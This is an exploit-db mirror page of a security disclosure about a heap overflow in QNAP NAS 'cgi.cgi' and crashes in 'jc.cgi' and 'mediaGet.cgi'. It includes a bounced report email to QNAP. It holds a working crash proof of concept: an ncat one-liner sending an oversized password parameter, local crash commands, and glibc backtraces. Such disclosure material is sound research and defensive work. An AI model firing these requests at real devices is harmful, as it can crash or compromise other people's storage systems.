bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/hardware/dos/40985.txt
Offensive Security 2c4b08963a DB: 2018-02-08 
25 changes to exploits/shellcodes

QNAP NAS Devices - Heap Overflow

QNAP NVR/NAS - Buffer Overflow (PoC)
QNAP NVR/NAS Devices - Buffer Overflow (PoC)
Cisco ASA - Crash PoC
Asterisk 13.17.2 - 'chan_skinny' Remote Memory Corruption
Android - 'getpidcon' Permission Bypass in KeyStore Service
Multiple OEM - 'nsd' Remote Stack Format String (PoC)

HP-UX 11.0 - pppd Stack Buffer Overflow
HP-UX 11.0 - 'pppd' Local Stack Buffer Overflow

SGI IRIX - 'LsD' Multiple Buffer Overflows
SGI IRIX - 'LsD' Multiple Local Buffer Overflows

PostScript Utilities - 'psnup' Argument Buffer Overflow
PostScript Utilities - 'psnup' Local Buffer Overflow

Open Cubic Player 2.6.0pre6/0.1.10_rc5 - Multiple Buffer Overflows
Open Cubic Player 2.6.0pre6/0.1.10_rc5 - Multiple Local Buffer Overflows

MalwareFox AntiMalware 2.74.0.150 - Privilege Escalation
Geovision Inc. IP Camera/Video/Access Control - Multiple Remote Command Execution / Stack Overflow / Double Free / Unauthorized Access
Geovision Inc. IP Camera & Video - Remote Command Execution
Axis SSI - Remote Command Execution / Read Files
Axis Communications MPQT/PACS - Heap Overflow / Information Leakage
Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution
Herospeed - 'TelnetSwitch' Remote Stack Overflow / Overwrite Password / Enable TelnetD
Uniview - Remote Command Execution / Export Config (PoC)
Vitek - Remote Command Execution / Information Disclosure (PoC)
Vivotek IP Cameras - Remote Stack Overflow (PoC)
Dahua Generation 2/3 - Backdoor Access
HiSilicon DVR Devices - Remote Code Execution

JiRos Banner Experience 1.0 - Unauthorised Create Admin
JiRos Banner Experience 1.0 - Unauthorized Create Admin
Doctor Search Script 1.0.2 - Persistent Cross-Site Scripting
Multilanguage Real Estate MLM Script - Persistent Cross-Site Scripting
Naukri Clone Script - Persistent Cross-Site Scripting
Hot Scripts Clone Script Classified - Persistent Cross-Site Scripting
Online Test Script 2.0.7 - 'cid' SQL Injection
Entrepreneur Dating Script 2.0.2 - Authentication Bypass
2018-02-08 05:01:53 +00:00

333 lines
No EOL
7.6 KiB
Text
Raw Blame History

==================
1) [Heap overflow]
==================
Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]
1.1)
/* Remote */
[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sat, 31 Dec 2016 00:01:11 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
======= Memory map: ========
08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]
[====SNIP====]
ffe53000-ffe54000 rw-p 00000000 00: 00 0
Content-Length: 0
Connection: close
Content-Type: text/plain
[Remote host]#
=======
1.2)
/* Local test, to get more info from backtrace */
# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"
# ./cgi.cgi
*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c3da62]
/lib/libc.so.6(cfree+0x89)[0xf6c3f729]
/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]
/lib/libnss_compat.so.2[0xf6b8ac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]
/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
19098]
./cgi.cgi[0x80502ed]
./cgi.cgi[0x8051a7e]
/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]
./cgi.cgi[0x804d151]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
[====SNIP====]
ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]
ffdbe000-ffdbf000 rw-p 00000000 00:00 0
Aborted
#
1.3)
# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"
# ./cgi.cgi
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c9da62]
/lib/libc.so.6(cfree+0x89)[0xf6c9f729]
/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]
/lib/libnss_compat.so.2[0xf6beac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]
/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
79098]
[0x80502ed]
[0x0]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
[====SNIP====]
# ./cgi.cgi
Segmentation fault
#
# dmesg
[====SNIP====]
[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]
[====SNIP====]
/* Local as shown below, but can of course be called from remote */
==================
2) [STACK junk]
==================
# export QUERY_STRING="bug"
# ./jc.cgi
Segmentation fault
# dmesg
[====SNIP====]
[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]
[====SNIP====]
==================
3) [STACK junk]
==================
/* Local as shown, but can be called from remote */
# export QUERY_STRING="bug"
# ./mediaGet.cgi
Segmentation fault
# dmesg
[====SNIP====]
[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]
[====SNIP====]
Have a nice day (and happy new year)
/bashis
========================
Hello mcw (at) noemail (dot) eu [email concealed],
We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:
* You might have spelled or formatted the group name incorrectly.
* The owner of the group may have removed this group.
* You may need to join the group before receiving permission to post.
* This group may not be open to posting.
If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.
Thanks,
qnap.com admins
----- Original message -----
X-Received: by 10.99.242.5 with SMTP id v5mr94097752pgh.181.1483213806030;
Sat, 31 Dec 2016 11:50:06 -0800 (PST)
Return-Path: <mcw (at) noemail (dot) eu [email concealed]>
Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102])
by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05
for <security (at) qnap (dot) com [email concealed]>;
Sat, 31 Dec 2016 11:50:06 -0800 (PST)
Received-SPF: fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) client-ip=113.196.50.102;
Authentication-Results: mx.google.com;
spf=fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) smtp.mailfrom=mcw (at) noemail (dot) eu [email concealed]
X-AuthUser: qnap1688 (at) qnappm (dot) info [email concealed]
Received: from aid.qnap.com ([113.196.50.99]:36962)
by mail2.qnappm.info with [XMail 1.27 ESMTP Server]
id <S7F885> for <security (at) qnap (dot) com [email concealed]> from <mcw (at) noemail (dot) eu [email concealed]>;
Sun, 1 Jan 2017 04:13:48 +0800
Date: Sun, 1 Jan 2017 03:50:06 +0800
Return-Path: mcw (at) noemail (dot) eu [email concealed]
To: security (at) qnap (dot) com [email concealed]
From: bashis mcw <mcw (at) noemail (dot) eu [email concealed]>
Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!
Message-ID: <5acc9d206d9601dc574a02b114c83e8a (at) aid.qnap (dot) com [email concealed]>
X-Priority: 3
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1_5acc9d206d9601dc574a02b114c83e8a"
Category : Administration
Subject : QNAP NAS devices suffer of Heap Overflow!
Severity Level : Critical
Description :
Greetings gents,
QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and
non critical stack crash in "jc.cgi and mediaGet.cgi".
Successful exploitation of this heap overflow vulnerability can lead to
unauthorised root (admin) privileges on QNAP devices with anonymous
access. (no credential needed to exploit)
Please note: 1st February 2017 i will release details of these bugs to
Full Disclosure and Bugtraq e-mail lists.
Please see below and attached.
Have a nice day (and happy new year)
/bashis
==================
1) [HEAP overflow]
==================
Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]
1.1)
/* Remote */
[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i
Sign Time : 2017/01/01 03:50:06
Reference in a new issue View git blame Copy permalink